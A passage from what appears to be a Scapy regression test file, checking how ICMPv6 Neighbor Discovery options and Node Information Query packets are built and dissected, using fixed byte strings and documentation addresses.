Dissection with specific values\na=ICMPv6NDOptShortcutLimit(b'\\x06\\x02\\x11\\xee\\xaa\\xaa\\xaa\\xaa')\na.len==2 and a.shortcutlim==0x11 and a.res1==0xee and a.res2==0xaaaaaaaa\n\n\n############\n############\n+ ICMPv6NDOptAdvInterval Class Test \n\n= ICMPv6NDOptAdvInterval - Basic Instantiation\nraw(ICMPv6NDOptAdvInterval()) == b'\\x07\\x01\\x00\\x00\\x00\\x00\\x00\\x00'\n\n= ICMPv6NDOptAdvInterval - Instantiation with specific values\nraw(ICMPv6NDOptAdvInterval(len=2, res=0x1111, advint=0xffffffff)) == b'\\x07\\x02\\x11\\x11\\xff\\xff\\xff\\xff'\n \n= ICMPv6NDOptAdvInterval - Basic dissection\na=ICMPv6NDOptAdvInterval(b'\\x07\\x01\\x00\\x00\\x00\\x00\\x00\\x00')\na.type == 7 and a.len == 1 and a.res == 0 and a.advint == 0\n\n= ICMPv6NDOptAdvInterval - Dissection with specific values\na=ICMPv6NDOptAdvInterval(b'\\x07\\x02\\x11\\x11\\xff\\xff\\xff\\xff')\na.type == 7 and a.len == 2 and a.res == 0x1111 and a.advint == 0xffffffff\n\n\n############\n############\n+ ICMPv6NDOptHAInfo Class Test\n\n= ICMPv6NDOptHAInfo - Basic Instantiation\nraw(ICMPv6NDOptHAInfo()) == b'\\x08\\x01\\x00\\x00\\x00\\x00\\x00\\x01'\n\n= ICMPv6NDOptHAInfo - Instantiation with specific values\nraw(ICMPv6NDOptHAInfo(len=2, res=0x1111, pref=0x2222, lifetime=0x3333)) == b'\\x08\\x02\\x11\\x11\"\"33'\n \n= ICMPv6NDOptHAInfo - Basic dissection\na=ICMPv6NDOptHAInfo(b'\\x08\\x01\\x00\\x00\\x00\\x00\\x00\\x01')\na.type == 8 and a.len == 1 and a.res == 0 and a.pref == 0 and a.lifetime == 1\n\n= ICMPv6NDOptHAInfo - Dissection with specific values\na=ICMPv6NDOptHAInfo(b'\\x08\\x02\\x11\\x11\"\"33')\na.type == 8 and a.len == 2 and a.res == 0x1111 and a.pref == 0x2222 and a.lifetime == 0x3333\n\n\n############\n############\n+ ICMPv6NDOptSrcAddrList Class Test \n\n= ICMPv6NDOptSrcAddrList - Basic Instantiation\nraw(ICMPv6NDOptSrcAddrList()) == b'\\t\\x01\\x00\\x00\\x00\\x00\\x00\\x00'\n\n= ICMPv6NDOptSrcAddrList - Instantiation with specific values (auto len)\nraw(ICMPv6NDOptSrcAddrList(res=\"BBBBBB\", addrlist=[\"ffff::ffff\", \"1111::1111\"])) == b'\\t\\x05BBBBBB\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xff\\x11\\x11\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x11\\x11'\n\n= ICMPv6NDOptSrcAddrList - Instantiation with specific values \nraw(ICMPv6NDOptSrcAddrList(len=3, res=\"BBBBBB\", addrlist=[\"ffff::ffff\", \"1111::1111\"])) == b'\\t\\x03BBBBBB\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xff\\x11\\x11\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x11\\x11'\n\n= ICMPv6NDOptSrcAddrList - Basic Dissection\na=ICMPv6NDOptSrcAddrList(b'\\t\\x01\\x00\\x00\\x00\\x00\\x00\\x00')\na.type == 9 and a.len == 1 and a.res == b'\\x00\\x00\\x00\\x00\\x00\\x00' and not a.addrlist\n\n= ICMPv6NDOptSrcAddrList - Dissection with specific values (auto len)\na=ICMPv6NDOptSrcAddrList(b'\\t\\x05BBBBBB\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xff\\x11\\x11\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x11\\x11')\na.type == 9 and a.len == 5 and a.res == b'BBBBBB' and len(a.addrlist) == 2 and a.addrlist[0] == \"ffff::ffff\" and a.addrlist[1] == \"1111::1111\"\n\n= ICMPv6NDOptSrcAddrList - Dissection with specific values \nwith no_debug_dissector():\n    a=ICMPv6NDOptSrcAddrList(b'\\t\\x03BBBBBB\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xff\\x11\\x11\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x11\\x11')\n\na.type == 9 and a.len == 3 and a.res == b'BBBBBB' and len(a.addrlist) == 1 and a.addrlist[0] == \"ffff::ffff\" and isinstance(a.payload, Raw) and a.payload.load == b'\\x11\\x11\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x11\\x11'\n\n\n############\n############\n+ ICMPv6NDOptTgtAddrList Class Test \n\n= ICMPv6NDOptTgtAddrList - Basic Instantiation\nraw(ICMPv6NDOptTgtAddrList()) == b'\\n\\x01\\x00\\x00\\x00\\x00\\x00\\x00'\n\n= ICMPv6NDOptTgtAddrList - Instantiation with specific values (auto len)\nraw(ICMPv6NDOptTgtAddrList(res=\"BBBBBB\", addrlist=[\"ffff::ffff\", \"1111::1111\"])) == b'\\n\\x05BBBBBB\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xff\\x11\\x11\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x11\\x11'\n\n= ICMPv6NDOptTgtAddrList - Instantiation with specific values \nraw(ICMPv6NDOptTgtAddrList(len=3, res=\"BBBBBB\", addrlist=[\"ffff::ffff\", \"1111::1111\"])) == b'\\n\\x03BBBBBB\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xff\\x11\\x11\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x11\\x11'\n\n= ICMPv6NDOptTgtAddrList - Basic Dissection\na=ICMPv6NDOptTgtAddrList(b'\\n\\x01\\x00\\x00\\x00\\x00\\x00\\x00')\na.type == 10 and a.len == 1 and a.res == b'\\x00\\x00\\x00\\x00\\x00\\x00' and not a.addrlist\n\n= ICMPv6NDOptTgtAddrList - Dissection with specific values (auto len)\na=ICMPv6NDOptTgtAddrList(b'\\n\\x05BBBBBB\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xff\\x11\\x11\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x11\\x11')\na.type == 10 and a.len == 5 and a.res == b'BBBBBB' and len(a.addrlist) == 2 and a.addrlist[0] == \"ffff::ffff\" and a.addrlist[1] == \"1111::1111\"\n\n= ICMPv6NDOptTgtAddrList - Instantiation with specific values \nwith no_debug_dissector():\n    a=ICMPv6NDOptTgtAddrList(b'\\n\\x03BBBBBB\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xff\\x11\\x11\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x11\\x11')\n\na.type == 10 and a.len == 3 and a.res == b'BBBBBB' and len(a.addrlist) == 1 and a.addrlist[0] == \"ffff::ffff\" and isinstance(a.payload, Raw) and a.payload.load == b'\\x11\\x11\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x11\\x11'\n\n\n############\n############\n+ ICMPv6NDOptIPAddr Class Test (RFC 4068)\n\n= ICMPv6NDOptIPAddr - Basic Instantiation \nraw(ICMPv6NDOptIPAddr()) == b'\\x11\\x03\\x01@\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\n= ICMPv6NDOptIPAddr - Instantiation with specific values\nraw(ICMPv6NDOptIPAddr(len=5, optcode=0xff, plen=40, res=0xeeeeeeee, addr=\"ffff::1111\")) == b'\\x11\\x05\\xff(\\xee\\xee\\xee\\xee\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x11\\x11'\n\n= ICMPv6NDOptIPAddr - Basic Dissection \na=ICMPv6NDOptIPAddr(b'\\x11\\x03\\x01@\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00')\na.type == 17 and a.len == 3 and a.optcode == 1 and a.plen == 64 and a.res == 0 and a.addr == \"::\"\n\n= ICMPv6NDOptIPAddr - Dissection with specific values\na=ICMPv6NDOptIPAddr(b'\\x11\\x05\\xff(\\xee\\xee\\xee\\xee\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x11\\x11')\na.type == 17 and a.len == 5 and a.optcode == 0xff and a.plen == 40 and a.res == 0xeeeeeeee and a.addr == \"ffff::1111\"\n\n\n############\n############\n+ ICMPv6NDOptNewRtrPrefix Class Test (RFC 4068)\n\n= ICMPv6NDOptNewRtrPrefix - Basic Instantiation \nraw(ICMPv6NDOptNewRtrPrefix()) == b'\\x12\\x03\\x00@\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\n= ICMPv6NDOptNewRtrPrefix - Instantiation with specific values\nraw(ICMPv6NDOptNewRtrPrefix(len=5, optcode=0xff, plen=40, res=0xeeeeeeee, prefix=\"ffff::1111\")) == b'\\x12\\x05\\xff(\\xee\\xee\\xee\\xee\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x11\\x11'\n\n= ICMPv6NDOptNewRtrPrefix - Basic Dissection \na=ICMPv6NDOptNewRtrPrefix(b'\\x12\\x03\\x00@\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00')\na.type == 18 and a.len == 3 and a.optcode == 0 and a.plen == 64 and a.res == 0 and a.prefix == \"::\"\n\n= ICMPv6NDOptNewRtrPrefix - Dissection with specific values\na=ICMPv6NDOptNewRtrPrefix(b'\\x12\\x05\\xff(\\xee\\xee\\xee\\xee\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x11\\x11')\na.type == 18 and a.len == 5 and a.optcode == 0xff and a.plen == 40 and a.res == 0xeeeeeeee and a.prefix == \"ffff::1111\"\n\n\n############\n############\n+ ICMPv6NDOptLLA Class Test (RFC 4068)\n\n= ICMPv6NDOptLLA - Basic Instantiation \nraw(ICMPv6NDOptLLA()) == b'\\x13\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\n= ICMPv6NDOptLLA - Instantiation with specific values\nraw(ICMPv6NDOptLLA(len=2, optcode=3, lla=\"ff:11:ff:11:ff:11\")) == b'\\x13\\x02\\x03\\xff\\x11\\xff\\x11\\xff\\x11'\n\n= ICMPv6NDOptLLA - Basic Dissection \na=ICMPv6NDOptLLA(b'\\x13\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00')\na.type == 19 and a.len == 1 and a.optcode == 0 and a.lla == \"00:00:00:00:00:00\"\n\n= ICMPv6NDOptLLA - Dissection with specific values\na=ICMPv6NDOptLLA(b'\\x13\\x02\\x03\\xff\\x11\\xff\\x11\\xff\\x11')\na.type == 19 and a.len == 2 and a.optcode == 3 and a.lla == \"ff:11:ff:11:ff:11\"\n\n\n############\n############\n+ ICMPv6NDOptRouteInfo Class Test\n\n= ICMPv6NDOptRouteInfo - Basic Instantiation\nraw(ICMPv6NDOptRouteInfo()) == b'\\x18\\x01\\x00\\x00\\xff\\xff\\xff\\xff'\n\n= ICMPv6NDOptRouteInfo - Instantiation with forced prefix but no length\nraw(ICMPv6NDOptRouteInfo(prefix=\"2001:db8:1:1:1:1:1:1\")) == b'\\x18\\x03\\x00\\x00\\xff\\xff\\xff\\xff \\x01\\r\\xb8\\x00\\x01\\x00\\x01\\x00\\x01\\x00\\x01\\x00\\x01\\x00\\x01'\n\n= ICMPv6NDOptRouteInfo - Instantiation with forced length values (1/4)\nraw(ICMPv6NDOptRouteInfo(len=1, prefix=\"2001:db8:1:1:1:1:1:1\")) == b'\\x18\\x01\\x00\\x00\\xff\\xff\\xff\\xff'\n\n= ICMPv6NDOptRouteInfo - Instantiation with forced length values (2/4)\nraw(ICMPv6NDOptRouteInfo(len=2, prefix=\"2001:db8:1:1:1:1:1:1\")) == b'\\x18\\x02\\x00\\x00\\xff\\xff\\xff\\xff \\x01\\r\\xb8\\x00\\x01\\x00\\x01'\n\n= ICMPv6NDOptRouteInfo - Instantiation with forced length values (3/4)\nraw(ICMPv6NDOptRouteInfo(len=3, prefix=\"2001:db8:1:1:1:1:1:1\")) == b'\\x18\\x03\\x00\\x00\\xff\\xff\\xff\\xff \\x01\\r\\xb8\\x00\\x01\\x00\\x01\\x00\\x01\\x00\\x01\\x00\\x01\\x00\\x01'\n\n= ICMPv6NDOptRouteInfo - Instantiation with forced length values (4/4)\nraw(ICMPv6NDOptRouteInfo(len=4, prefix=\"2001:db8:1:1:1:1:1:1\")) == b'\\x18\\x04\\x00\\x00\\xff\\xff\\xff\\xff \\x01\\r\\xb8\\x00\\x01\\x00\\x01\\x00\\x01\\x00\\x01\\x00\\x01\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\n= ICMPv6NDOptRouteInfo - Instantiation with specific values \nraw(ICMPv6NDOptRouteInfo(len=6, plen=0x11, res1=1, prf=3, res2=1, rtlifetime=0x22222222, prefix=\"2001:db8::1\")) == b'\\x18\\x06\\x119\"\"\"\" \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\n= ICMPv6NDOptRouteInfo - Basic dissection\na=ICMPv6NDOptRouteInfo(b'\\x18\\x03\\x00\\x00\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00')\na.type == 24 and a.len == 3 and a.plen == 0 and a.res1 == 0 and a.prf == 0 and a.res2 == 0 and a.rtlifetime == 0xffffffff and a. prefix == \"::\"\n\n= ICMPv6NDOptRouteInfo - Dissection with specific values \na=ICMPv6NDOptRouteInfo(b'\\x18\\x04\\x119\"\"\"\" \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01')\na.plen == 0x11 and a.res1 == 1 and a.prf == 3 and a.res2 == 1 and a.rtlifetime == 0x22222222 and a.prefix == \"2001:db8::1\" \n\n= ICMPv6NDOptRouteInfo - Summary Output\nICMPv6NDOptRouteInfo(b'\\x18\\x04\\x119\"\"\"\" \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01').mysummary() == \"ICMPv6 Neighbor Discovery Option - Route Information Option 2001:db8::1/17 Preference Low\"\n\n\n############\n############\n+ ICMPv6NDOptMAP Class Test\n\n= ICMPv6NDOptMAP - Basic Instantiation\nraw(ICMPv6NDOptMAP()) == b'\\x17\\x03\\x1f\\x80\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\n= ICMPv6NDOptMAP - Instantiation with specific values\nraw(ICMPv6NDOptMAP(len=5, dist=3, pref=10, R=0, res=1, validlifetime=0x11111111, addr=\"ffff::1111\")) == b'\\x17\\x05:\\x01\\x11\\x11\\x11\\x11\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x11\\x11'\n\n= ICMPv6NDOptMAP - Basic Dissection\na=ICMPv6NDOptMAP(b'\\x17\\x03\\x1f\\x80\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00')\na.type==23 and a.len==3 and a.dist==1 and a.pref==15 and a.R==1 and a.res==0 and a.validlifetime==0xffffffff and a.addr==\"::\"\n\n= ICMPv6NDOptMAP - Dissection with specific values\na=ICMPv6NDOptMAP(b'\\x17\\x05:\\x01\\x11\\x11\\x11\\x11\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x11\\x11')\na.type==23 and a.len==5 and a.dist==3 and a.pref==10 and a.R==0 and a.res==1 and a.validlifetime==0x11111111 and a.addr==\"ffff::1111\"\n\n\n############\n############\n+ ICMPv6NDOptRDNSS Class Test\n\n= ICMPv6NDOptRDNSS - Basic Instantiation\nraw(ICMPv6NDOptRDNSS()) == b'\\x19\\x01\\x00\\x00\\xff\\xff\\xff\\xff'\n\n= ICMPv6NDOptRDNSS - Basic instantiation with 1 DNS address\nraw(ICMPv6NDOptRDNSS(dns=[\"2001:db8::1\"])) == b'\\x19\\x03\\x00\\x00\\xff\\xff\\xff\\xff \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01'\n\n= ICMPv6NDOptRDNSS - Basic instantiation with 2 DNS addresses\nraw(ICMPv6NDOptRDNSS(dns=[\"2001:db8::1\", \"2001:db8::2\"])) == b'\\x19\\x05\\x00\\x00\\xff\\xff\\xff\\xff \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01 \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02'\n\n= ICMPv6NDOptRDNSS - Instantiation with specific values\nraw(ICMPv6NDOptRDNSS(len=43, res=0xaaee, lifetime=0x11111111, dns=[\"2001:db8::2\"])) == b'\\x19+\\xaa\\xee\\x11\\x11\\x11\\x11 \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02'\n\n= ICMPv6NDOptRDNSS - Basic Dissection\na=ICMPv6NDOptRDNSS(b'\\x19\\x01\\x00\\x00\\xff\\xff\\xff\\xff')\na.type==25 and a.len==1 and a.res == 0 and a.dns==[]\n\n= ICMPv6NDOptRDNSS - Dissection (with 1 DNS address)\na=ICMPv6NDOptRDNSS(b'\\x19\\x03\\x00\\x00\\xff\\xff\\xff\\xff \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01')\na.type==25 and a.len==3 and a.res ==0 and len(a.dns) == 1 and a.dns[0] == \"2001:db8::1\"\n\n= ICMPv6NDOptRDNSS - Dissection (with 2 DNS addresses)\na=ICMPv6NDOptRDNSS(b'\\x19\\x05\\xaa\\xee\\xff\\xff\\xff\\xff \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01 \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02')\na.type==25 and a.len==5 and a.res == 0xaaee and len(a.dns) == 2 and a.dns[0] == \"2001:db8::1\" and a.dns[1] == \"2001:db8::2\"\n\n= ICMPv6NDOptRDNSS - Summary Output\na=ICMPv6NDOptRDNSS(b'\\x19\\x05\\xaa\\xee\\xff\\xff\\xff\\xff \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01 \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02')\na.mysummary() == \"ICMPv6 Neighbor Discovery Option - Recursive DNS Server Option 2001:db8::1, 2001:db8::2\"\n\n\n############\n############\n+ ICMPv6NDOptDNSSL Class Test\n\n= ICMPv6NDOptDNSSL - Basic Instantiation\nraw(ICMPv6NDOptDNSSL()) == b'\\x1f\\x01\\x00\\x00\\xff\\xff\\xff\\xff'\n\n= ICMPv6NDOptDNSSL - Instantiation with 1 search domain, as seen in the wild\nraw(ICMPv6NDOptDNSSL(lifetime=60, searchlist=[\"home.\"])) == b'\\x1f\\x02\\x00\\x00\\x00\\x00\\x00<\\x04home\\x00\\x00\\x00'\n\n= ICMPv6NDOptDNSSL - Basic instantiation with 2 search domains\nraw(ICMPv6NDOptDNSSL(searchlist=[\"home.\", \"office.\"])) == b'\\x1f\\x03\\x00\\x00\\xff\\xff\\xff\\xff\\x04home\\x00\\x06office\\x00\\x00\\x00'\n\n= ICMPv6NDOptDNSSL - Basic instantiation with 3 search domains\nraw(ICMPv6NDOptDNSSL(searchlist=[\"home.\", \"office.\", \"here.there.\"])) == b'\\x1f\\x05\\x00\\x00\\xff\\xff\\xff\\xff\\x04home\\x00\\x06office\\x00\\x04here\\x05there\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\n= ICMPv6NDOptDNSSL - Basic Dissection\np = ICMPv6NDOptDNSSL(b'\\x1f\\x01\\x00\\x00\\xff\\xff\\xff\\xff')\np.type == 31 and p.len == 1 and p.res == 0 and p.searchlist == []\n\n= ICMPv6NDOptDNSSL - Basic Dissection with specific values\np = ICMPv6NDOptDNSSL(b'\\x1f\\x02\\x00\\x00\\x00\\x00\\x00<\\x04home\\x00\\x00\\x00')\np.type == 31 and p.len == 2 and p.res == 0 and p.lifetime == 60 and p.searchlist == [\"home.\"]\n\n= ICMPv6NDOptDNSSL - Summary Output\nICMPv6NDOptDNSSL(searchlist=[\"home.\", \"office.\", \"{\"]).mysummary() == \"ICMPv6 Neighbor Discovery Option - DNS Search List Option home., office., {\"\n\n\n############\n############\n+ ICMPv6NDOptCaptivePortal Class Test\n\n= ICMPv6NDOptCaptivePortal - Basic Instantiation\nraw(ICMPv6NDOptCaptivePortal()) == b\"\\x25\\x01\\x00\\x00\\x00\\x00\\x00\\x00\"\n\n= ICMPv6NDOptCaptivePortal - Instantiation with captive portal URI\nraw(ICMPv6NDOptCaptivePortal(URI=\"https://example.com\")) == b\"\\x25\\x03https://example.com\\x00\\x00\\x00\"\n\n= ICMPv6NDOptCaptivePortal - Instantiation where total length is already a multiple of 8 bytes\np = ICMPv6NDOptCaptivePortal(URI=\"abcdef\")\nlen(p) == 8 and raw(p) == b\"\\x25\\x01abcdef\" and ICMPv6NDOptCaptivePortal(raw(p)).URI == b\"abcdef\"\n\n= ICMPv6NDOptCaptivePortal - Basic Dissection\np = ICMPv6NDOptCaptivePortal(b\"\\x25\\x01\\x00\\x00\\x00\\x00\\x00\\x00\")\np.type == 37 and p.len == 1 and p.URI == b\"\"\n\n= ICMPv6NDOptCaptivePortal - Basic Dissection with captive portal URI\np = ICMPv6NDOptCaptivePortal(b\"\\x25\\x03https://example.com\\x00\\x00\\x00\")\np.type == 37 and p.len == 3 and p.URI == b\"https://example.com\"\n\n= ICMPv6NDOptCaptivePortal - Dissection with zero length\np = ICMPv6NDOptCaptivePortal(b\"\\x25\\x00abcdef\\x00\\x01\")\np.type == 37 and p.len == 0 and p.URI == b\"abcdef\"\npay = p.payload\nassert pay.type == 0 and pay.len == 1 and pay.data == b\"\"\n\n= ICMPv6NDOptCaptivePortal - Summary Output\nICMPv6NDOptCaptivePortal(URI=\"https://example.com\").mysummary() == \"ICMPv6 Neighbor Discovery Option - Captive-Portal Option b'https://example.com'\"\n\n\n############\n############\n+ ICMPv6NDOptEFA Class Test\n\n= ICMPv6NDOptEFA - Basic Instantiation\nraw(ICMPv6NDOptEFA()) == b'\\x1a\\x01\\x00\\x00\\x00\\x00\\x00\\x00'\n\n= ICMPv6NDOptEFA - Basic Dissection\na=ICMPv6NDOptEFA(b'\\x1a\\x01\\x00\\x00\\x00\\x00\\x00\\x00')\na.type==26 and a.len==1 and a.res == 0\n\n\n############\n############\n+ ICMPv6NDOptPREF64 Class Test\n\n= ICMPv6NDOptPREF64 - Basic Instantiation\nraw(ICMPv6NDOptPREF64()) == b'\\x26\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\n= ICMPv6NDOptPREF64 - Basic Dissection\np = ICMPv6NDOptPREF64(b'\\x26\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00')\nassert p.type == 38 and p.len == 2 and p.scaledlifetime == 0 and p.plc == 0 and p.prefix == '::'\n\n= ICMPv6NDOptPREF64 - Instantiation/Dissection with specific values\np = ICMPv6NDOptPREF64(scaledlifetime=225, plc='/64', prefix='2003:da8:1::')\nassert raw(p) == b'\\x26\\x02\\x07\\x09\\x20\\x03\\x0d\\xa8\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00'\n\np = ICMPv6NDOptPREF64(raw(p))\nassert p.type == 38 and p.len == 2 and p.scaledlifetime == 225 and p.plc == 1 and p.prefix == '2003:da8:1::'\n\np = ICMPv6NDOptPREF64(raw(p) + b'\\x00\\x00\\x00\\x00')\nassert ICMPv6NDOptUnknown in p and len(p[ICMPv6NDOptUnknown]) == 4\n\n= ICMPv6NDOptPREF64 - Summary Output\nICMPv6NDOptPREF64(prefix='12:34:56::', plc='/32').mysummary() == \"ICMPv6 Neighbor Discovery Option - PREF64 Option 12:34:56::/32\"\nICMPv6NDOptPREF64(prefix='12:34:56::', plc=6).mysummary() == \"ICMPv6 Neighbor Discovery Option - PREF64 Option 12:34:56::[invalid PLC(6)]\"\n\n\n############\n############\n+ Test Node Information Query - ICMPv6NIQueryNOOP\n\n= ICMPv6NIQueryNOOP - Basic Instantiation\nraw(ICMPv6NIQueryNOOP(nonce=b\"\\x00\"*8)) == b'\\x8b\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\n= ICMPv6NIQueryNOOP - Basic Dissection\na = ICMPv6NIQueryNOOP(b'\\x8b\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00')\na.type == 139 and a.code == 1 and a.cksum == 0 and a.qtype == 0 and a.unused == 0 and a.flags == 0 and a.nonce == b\"\\x00\"*8 and a.data == b\"\"\n\n\n############\n############\n+ Test Node Information Query - ICMPv6NIQueryName\n\n= ICMPv6NIQueryName - single label DNS name (internal)\na=ICMPv6NIQueryName(data=\"abricot\").getfieldval(\"data\")\ntype(a) is tuple and len(a) == 2 and a[0] == 1 and a[1] == b'\\x07abricot\\x00\\x00'\n\n= ICMPv6NIQueryName - single label DNS name\nICMPv6NIQueryName(data=\"abricot\").data == b\"abricot\"\n\n= ICMPv6NIQueryName - fqdn (internal)\na=ICMPv6NIQueryName(data=\"n.d.org\").getfieldval(\"data\")\ntype(a) is tuple and len(a) == 2 and a[0] == 1 and a[1] == b'\\x01n\\x01d\\x03org\\x00'\n\n= ICMPv6NIQueryName - fqdn\nICMPv6NIQueryName(data=\"n.d.org\").data == b\"n.d.org\"\n\n= ICMPv6NIQueryName - IPv6 address (internal)\na=ICMPv6NIQueryName(data=\"2001:db8::1\").getfieldval(\"data\")\ntype(a) is tuple and len(a) == 2 and a[0] == 0 and a[1] == '2001:db8::1'\n\n= ICMPv6NIQueryName - IPv6 address \nICMPv6NIQueryName(data=\"2001:db8::1\").data == \"2001:db8::1\"\n\n= ICMPv6NIQueryName - IPv4 address (internal)\na=ICMPv6NIQueryName(data=\"169.254.253.252\").getfieldval(\"data\")\ntype(a) is tuple and len(a) == 2 and a[0] == 2 and a[1] == '169.254.253.252'\n\n= ICMPv6NIQueryName - IPv4 address\nICMPv6NIQueryName(data=\"169.254.253.252\").data == '169.254.253.252'\n\n= ICMPv6NIQueryName - build & dissection\ns = raw(IPv6()/ICMPv6NIQueryName(data=\"n.d.org\"))\np = IPv6(s)\nICMPv6NIQueryName in p and p[ICMPv6NIQueryName].data == b\"n.d.org\"\n\n= ICMPv6NIQueryName - dissection\ns = b'\\x8b\\x00z^\\x00\\x02\\x00\\x00\\x00\\x03g\\x90\\xc7\\xa3\\xdd[\\xff\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01'\np = ICMPv6NIQueryName(s)\np.show()\nassert ICMPv6NIQueryName in p and p.data == \"ff02::1\"\n\n\n############\n############\n+ Test Node Information Query - ICMPv6NIQueryIPv6\n\n= ICMPv6NIQueryIPv6 - single label DNS name (internal)\na = ICMPv6NIQueryIPv6(data=\"abricot\")\nls(a)\na = a.getfieldval(\"data\")\ntype(a) is tuple and len(a) == 2 and a[0] == 1 and a[1] == b'\\x07abricot\\x00\\x00'\n\n= ICMPv6NIQueryIPv6 - single label DNS name\nICMPv6NIQueryIPv6(data=\"abricot\").data == b\"abricot\"\n\n= ICMPv6NIQueryIPv6 - fqdn (internal)\na=ICMPv6NIQueryIPv6(data=\"n.d.org\").getfieldval(\"data\")\ntype(a) is tuple and len(a) == 2 and a[0] == 1 and a[1] == b'\\x01n\\x01d\\x03org\\x00'\n\n= ICMPv6NIQueryIPv6 - 